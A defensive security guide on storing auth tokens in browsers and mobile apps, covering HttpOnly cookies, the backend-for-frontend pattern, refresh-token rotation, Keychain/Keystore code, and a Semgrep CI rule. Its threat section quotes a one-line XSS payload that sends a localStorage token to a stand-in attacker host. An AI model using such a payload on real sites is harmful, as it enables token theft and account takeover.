Token Storage Patterns for Web and Mobile

Where you keep an access or refresh token decides which single vulnerability class can steal it. A token in localStorage falls to any cross-site scripting flaw; a token in a cookie invites cross-site request forgery; a token in the wrong mobile store leaks to any process that can read the app sandbox. There is no universally safe location — only trade-offs you select deliberately against your client type and threat model. This guide is part of Secure Authentication & Session Architecture and works through each option: HttpOnly Secure cookies, localStorage, and in-memory storage for browsers; the backend-for-frontend (BFF) token-handler pattern; refresh token rotation with reuse detection; and Keychain/Keystore storage on mobile. It builds directly on the identifier-rotation discipline in session fixation prevention, and on the token issuance covered in OAuth 2.0 & OpenID Connect implementation.

Threat Anatomy

Token theft is an exfiltration problem, and the store you pick determines which exfiltration primitive an attacker needs. The two dominant primitives pull in opposite directions.

Attacker perspective — the XSS path. If tokens live anywhere JavaScript can read them — localStorage, sessionStorage, or a non-HttpOnly cookie — then a single injected script wins. A payload as small as fetch('https://evil.tld/x?t='+localStorage.getItem('access_token')) ships the token off-origin, and because localStorage persists across tabs and reloads, even a transient XSS flaw yields a durable credential. This is the classic argument against localStorage.

Attacker perspective — the CSRF path. Move the token into an HttpOnly cookie and JavaScript can no longer read it — but now the browser attaches it automatically to every request to the origin, including forged cross-site requests. Without SameSite and an anti-CSRF token, an attacker’s page can trigger state-changing calls that ride the victim’s cookie. You have traded an exfiltration risk for a request-forgery risk.

MITRE ATT&CK coverage. Application access tokens harvested from browser storage map to T1528 (Steal Application Access Token); where the credential is a session cookie carried by the browser, theft aligns with T1539 (Steal Web Session Cookie). Both frequently follow a client-side injection foothold.

The synthesis. The strongest browser pattern removes the token from JavaScript entirely: an HttpOnly cookie that carries only an opaque session handle, or a BFF that holds the real tokens server-side. Either way, an XSS foothold can still act as the user while the page is open, but it cannot walk away with a portable, long-lived token — a materially smaller blast radius. On mobile, the equivalent move is the hardware-backed secure enclave.

For the head-to-head decision specifically between the two most-debated browser options, see HttpOnly cookies vs localStorage for JWTs.

Storage Option Reference

Store Readable by JS? Primary risk Best for
localStorage / sessionStorage Yes XSS exfiltration (persistent) Non-sensitive UI state only
Non-HttpOnly cookie Yes XSS exfiltration + CSRF Avoid for tokens
HttpOnly Secure cookie No CSRF (mitigated by SameSite + token) Session handle / refresh token
In-memory (JS closure) Yes, same tab only Lost on reload; XSS within tab Short-lived access token
BFF token handler No (server-held) Server compromise; needs CSRF control SPAs needing strong XSS isolation
iOS Keychain / Android Keystore N/A Rooted/jailbroken device, backup leakage Mobile refresh tokens

Prerequisites & Scope

  • Token types separated. You distinguish short-lived access tokens (minutes) from long-lived refresh tokens (days), and treat their storage independently.
  • HTTPS and a single registered origin. Cookies will be Secure and __Host- scoped; the SPA and its API/BFF share a known same-site relationship.
  • An XSS mitigation baseline. A Content Security Policy and output encoding are already in progress — token storage reduces XSS impact, it does not replace XSS mitigation.
  • A refresh endpoint you control. Rotation and reuse detection require server-side tracking of refresh token families.
  • Mobile secure-storage APIs available. iOS Keychain Services and Android’s EncryptedSharedPreferences / Keystore are usable on the target OS versions.

Mitigation Architecture

The organising principle is minimise what JavaScript can reach. The vulnerable design hands the raw token to browser JavaScript, where any injected script inherits it. The hardened design keeps the token off the JS heap entirely — either as an HttpOnly cookie handle or, more strongly, behind a backend-for-frontend that the browser reaches only through a same-site cookie.

localStorage vs HttpOnly Cookie + BFF Trust Flows Left flow: a token in localStorage is reachable by both application and injected scripts, so XSS exfiltrates it. Right flow: an HttpOnly cookie carries only a handle to a backend-for-frontend that holds the tokens server-side, out of JavaScript reach. VULNERABLE: token in localStorage localStorage: access_token readable by any script App script reads token Injected XSS exfiltrates token Attacker server token stolen HARDENED: HttpOnly cookie + BFF HttpOnly cookie: handle not readable by JS Injected XSS cannot read cookie BFF server holds real tokens Resource API token attached server-side Keeping the real token off the JavaScript heap turns full token theft into, at most, on-page action while the tab is open.

Vulnerable vs. Hardened: Side-by-Side

Concern localStorage token HttpOnly cookie / BFF
XSS reads the token Yes — one flaw exfiltrates it No — token not in JS
CSRF exposure No (not auto-sent) Yes — needs SameSite + token
Token portability if stolen High — works off-device Low — bound to cookie/session
Refresh token exposure Catastrophic Held server-side / HttpOnly
Correct mitigation Move off JS heap Add anti-CSRF controls

Step-by-Step Implementation

Step 1 — Choose the Storage Model (ASVS V3.5, V8.3.4)

Decide per client, not once for the whole system. For a browser SPA, prefer a BFF that holds tokens server-side; if a BFF is not feasible, keep a short-lived access token in a JavaScript closure and the refresh token in an HttpOnly cookie. For a first-party classic web app, an HttpOnly session cookie is the natural fit. For native mobile, use the platform secure enclave. localStorage is reserved for non-sensitive UI state only.

Terminate the token at the server and hand the browser only an HttpOnly cookie. The BFF exchanges the authorization code, stores the tokens, and proxies API calls.

import express from 'express';
import cookieParser from 'cookie-parser';

const app = express();
app.use(cookieParser());

// After the OAuth code exchange, tokens are stored server-side keyed by session.
app.get('/auth/callback', async (req, res) => {
  const tokens = await exchangeCodeForTokens(req.query.code as string);
  const sessionId = await sessionStore.create({
    accessToken: tokens.access_token,     // never sent to the browser
    refreshToken: tokens.refresh_token,   // never sent to the browser
  });
  res.cookie('__Host-bff', sessionId, {
    httpOnly: true, secure: true, sameSite: 'lax', path: '/',
    maxAge: 1000 * 60 * 60 * 8,
  });
  res.redirect('/app');
});

// The SPA calls the BFF; the BFF attaches the real access token upstream.
app.get('/api/*', async (req, res) => {
  const session = await sessionStore.get(req.cookies['__Host-bff']);
  if (!session) return res.status(401).end();
  const upstream = await fetch(`https://api.internal${req.path}`, {
    headers: { authorization: `Bearer ${session.accessToken}` },
  });
  res.status(upstream.status).send(await upstream.text());
});

Step 3 — Rotate Refresh Tokens with Reuse Detection (ASVS V3.3, NIST SP 800-63B)

Issue a new refresh token on every refresh and record a per-family lineage. If a refresh token that has already been consumed is presented again, treat it as theft and revoke the whole family.

async function refresh(presentedToken: string) {
  const record = await refreshStore.findByToken(presentedToken);
  if (!record) throw new Error('unknown_refresh_token');

  if (record.consumedAt) {
    // Reuse of an already-rotated token → the family is compromised.
    await refreshStore.revokeFamily(record.familyId);
    throw new Error('refresh_reuse_detected: family revoked');
  }

  await refreshStore.markConsumed(record.id);
  const next = await refreshStore.issue({
    familyId: record.familyId,            // same lineage, new token
    userId: record.userId,
  });
  return { accessToken: mintAccessToken(record.userId), refreshToken: next.token };
}

Step 4 — Store Tokens in the Mobile Secure Enclave (ASVS V8.3, NIST SP 800-63B)

On mobile, never write tokens to NSUserDefaults, SharedPreferences, or plain files. Use the hardware-backed enclave.

// React Native / Expo: Keychain (iOS) + Keystore-backed store (Android)
import * as SecureStore from 'expo-secure-store';

export async function saveRefreshToken(token: string): Promise<void> {
  await SecureStore.setItemAsync('refresh_token', token, {
    keychainAccessible: SecureStore.WHEN_UNLOCKED_THIS_DEVICE_ONLY, // not in iCloud backups
    requireAuthentication: false,
  });
}

export async function loadRefreshToken(): Promise<string | null> {
  return SecureStore.getItemAsync('refresh_token');
}

WHEN_UNLOCKED_THIS_DEVICE_ONLY keeps the token off encrypted backups and out of device-to-device migration, limiting the blast radius to a single unlocked device.

Edge Cases & Bypass Patterns

HttpOnly stops a script from reading the cookie, but a script can still issue authenticated requests through the same cookie while the page is open. Token storage shrinks the blast radius; it does not remove the need to fix the XSS itself.

Refresh Token in a Readable Store

Teams sometimes move the access token to an HttpOnly cookie but leave the long-lived refresh token in localStorage “for convenience”. This is the worst of both worlds — the most valuable, longest-lived credential sits in the most exposed store. The refresh token must be the most protected artefact, never the least.

SameSite Is Not a Complete CSRF Defense

SameSite=Lax blocks many cross-site sends but not same-site sub-resource attacks or certain top-level navigations, and SameSite=None (required for cross-site SPAs) reopens the gap. Pair cookie storage with an explicit anti-CSRF token — see CSRF defense.

Mobile Backup and Clipboard Leakage

Tokens written without ThisDeviceOnly can ride an encrypted iCloud/Google backup to another device. Tokens copied to the clipboard for “debugging” leak to every app with clipboard access. Keep tokens in the enclave and never route them through general-purpose storage.

Automated Testing & CI Validation

Test: No Token Reaches the Browser Under the BFF

import { describe, it, expect } from 'vitest';
import request from 'supertest';
import { app } from '../app';

describe('BFF token isolation', () => {
  it('sets only an HttpOnly session cookie, never a bearer token', async () => {
    const res = await request(app).get('/auth/callback?code=valid');
    const cookie = (res.headers['set-cookie'] as string[])[0];
    expect(cookie).toMatch(/HttpOnly/i);
    expect(cookie).toMatch(/Secure/i);
    expect(res.text).not.toMatch(/access_token|refresh_token/); // no token in the body
  });
});

CI/CD Gate: Ban Token Writes to localStorage

# .github/workflows/token-storage-gate.yml
name: Token Storage Gate
on: [push, pull_request]

jobs:
  static:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Semgrep — token in web storage
        uses: semgrep/semgrep-action@v1
        with:
          config: |
            rules:
              - id: token-in-localstorage
                patterns:
                  - pattern-either:
                      - pattern: localStorage.setItem("...token...", ...)
                      - pattern: sessionStorage.setItem("...token...", ...)
                message: "Auth token written to web storage — use an HttpOnly cookie or BFF"
                severity: ERROR
                languages: [javascript, typescript]

Compliance Mapping

Framework Control Satisfied By
OWASP ASVS v4.0 V3.4.1–V3.4.3 HttpOnly, Secure, SameSite on session/token cookies
OWASP ASVS v4.0 V3.5.3 Stateless tokens validated and not exposed to untrusted script
OWASP ASVS v4.0 V8.3.4 Sensitive credentials stored in platform secure storage on the client
SOC 2 CC6.1 Logical access controls over stored authentication tokens
NIST SP 800-63B §7.1 Session/refresh secrets protected in transit and at rest, bound to the client

Common Pitfalls Checklist

Frequently Asked Questions

Is localStorage ever an acceptable place to store JWTs?

Rarely, and never for long-lived or refresh tokens. Everything in localStorage is readable by any JavaScript on the page, so one cross-site scripting flaw exfiltrates the token, and because the store persists across reloads and tabs, even a transient injection yields a durable credential. If an access token must live in the browser, hold a short-lived one in a JavaScript closure so it dies on reload, and keep the refresh token in an HttpOnly cookie or behind a backend-for-frontend. The detailed trade-off matrix is in HttpOnly cookies vs localStorage for JWTs.

What is the backend-for-frontend (BFF) token-handler pattern?

A BFF is a server component the single-page app talks to over a same-site HttpOnly cookie. It performs the OAuth token exchange, stores the access and refresh tokens server-side, and proxies API calls, attaching the bearer token on the server. The browser only ever holds an opaque session handle, so cross-site scripting cannot read or exfiltrate a token — the highest-value credential never crosses into JavaScript. The cost is an extra server hop and the need to add CSRF protection to the cookie-authenticated proxy.

How do refresh token rotation and reuse detection work together?

Rotation issues a brand-new refresh token on every refresh and invalidates the previous one, so any given refresh token is single-use. Reuse detection watches for an already-consumed refresh token being presented again — which can only happen if a copy was stolen and replayed — and responds by revoking the entire token family, forcing reauthentication. Rotation shrinks each token’s validity window; reuse detection turns a theft into an immediate, self-healing lockout of both the attacker and the legitimate client.

Where should mobile apps store tokens?

In the platform secure enclave: the iOS Keychain and Android’s Keystore-backed EncryptedSharedPreferences. These stores are hardware-backed, isolated per app, and persist across restarts without exposing tokens to other apps or to plaintext files. Choose a “this device only” accessibility class so tokens do not ride encrypted backups to another device. Never use NSUserDefaults, SharedPreferences, or unencrypted files, and never place a token on the clipboard.


Related